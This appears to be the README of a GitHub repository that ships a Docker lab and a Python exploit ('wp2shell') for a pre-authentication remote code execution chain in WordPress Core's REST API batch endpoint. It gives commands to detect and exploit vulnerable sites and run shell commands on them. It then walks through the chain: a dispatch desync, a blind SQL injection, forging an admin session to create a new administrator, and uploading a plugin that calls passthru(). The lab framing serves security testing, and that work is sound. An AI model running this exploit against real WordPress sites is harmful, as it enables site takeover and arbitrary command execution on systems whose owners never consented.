Docker lab + exploit for wp2shell (CVE-2026-63030 + CVE-2026-60137): a pre-authentication RCE in WordPress Core's REST API batch endpoint, affecting versions 6.9.0–6.9.4 and 7.0.0–7.0.1 (fixed in 6.9.5 and 7.0.2).
Warning: This repository contains a working RCE exploit. Use it only in the included local lab or on systems you own or are explicitly authorized to test.
git clone https://github.com/b1bek/wp2shell.git
cd wp2shell
docker compose -f docker/docker-compose.yml up -d --build
# Wait ~30s for WordPress to install
# Detect (safe, non-destructive)
python3 exploit/wp2shell.py detect -t http://localhost:8180 # VULNERABLE
python3 exploit/wp2shell.py detect -t http://localhost:8181 # NOT VULNERABLE
# Pre-auth RCE (no creds, ~10-15 min via blind SQLi)
python3 exploit/wp2shell.py exploit -t http://localhost:8180 -c 'id'
# Lab convenience: authenticated plugin upload + command execution (~2s)
python3 exploit/wp2shell.py exploit -t http://localhost:8180 -c 'whoami' -U admin -P lab-password-123Or, from the repository root, run the automated demo:
./run-demo.shRequirements: Docker with Compose v2, Python 3, Bash, and curl.
| Port | Instance | WP Version | Status |
|---|---|---|---|
| 8180 | Vulnerable | 7.0.1 | Affected |
| 8181 | Patched | 7.0.2 | Fixed |
Admin login (both): admin / lab-password-123
Three bugs chain into pre-auth RCE:
- CVE-2026-63030 —
$matches/$validationdesync inserve_batch_request_v1(): a parse-failing sub-request skips$matches, shifting all subsequent dispatches to the wrong handler. - Re-entrancy — no
is_dispatching()guard, allowing nested batch dispatch without permission. - CVE-2026-60137 — SQL injection in
WP_Query::author__not_in: a string value bypassesabsint()and is interpolated raw into SQL.
The RCE technique (from sergiointel/wp2shell-poc):
- The blind SQLi uses
UNION ALL SELECTto inject fakewp_postsrows into query results (withper_page=-1&orderby=noneto remove trailingORDER BY/LIMIT). - Fake
oembed_cacheposts trigger WordPress's oEmbed caching, creating real cache entries. - A fake
customize_changesetpost sets the current user to the admin ID, thenPOST /wp/v2/usersin the same batch creates a new administrator. - Login as the new admin → upload a plugin with a
passthru()REST route → RCE.
No admin credentials, no MySQL FILE privilege, no hash cracking needed.
See docs/vulnerability-analysis.md for the full technical breakdown.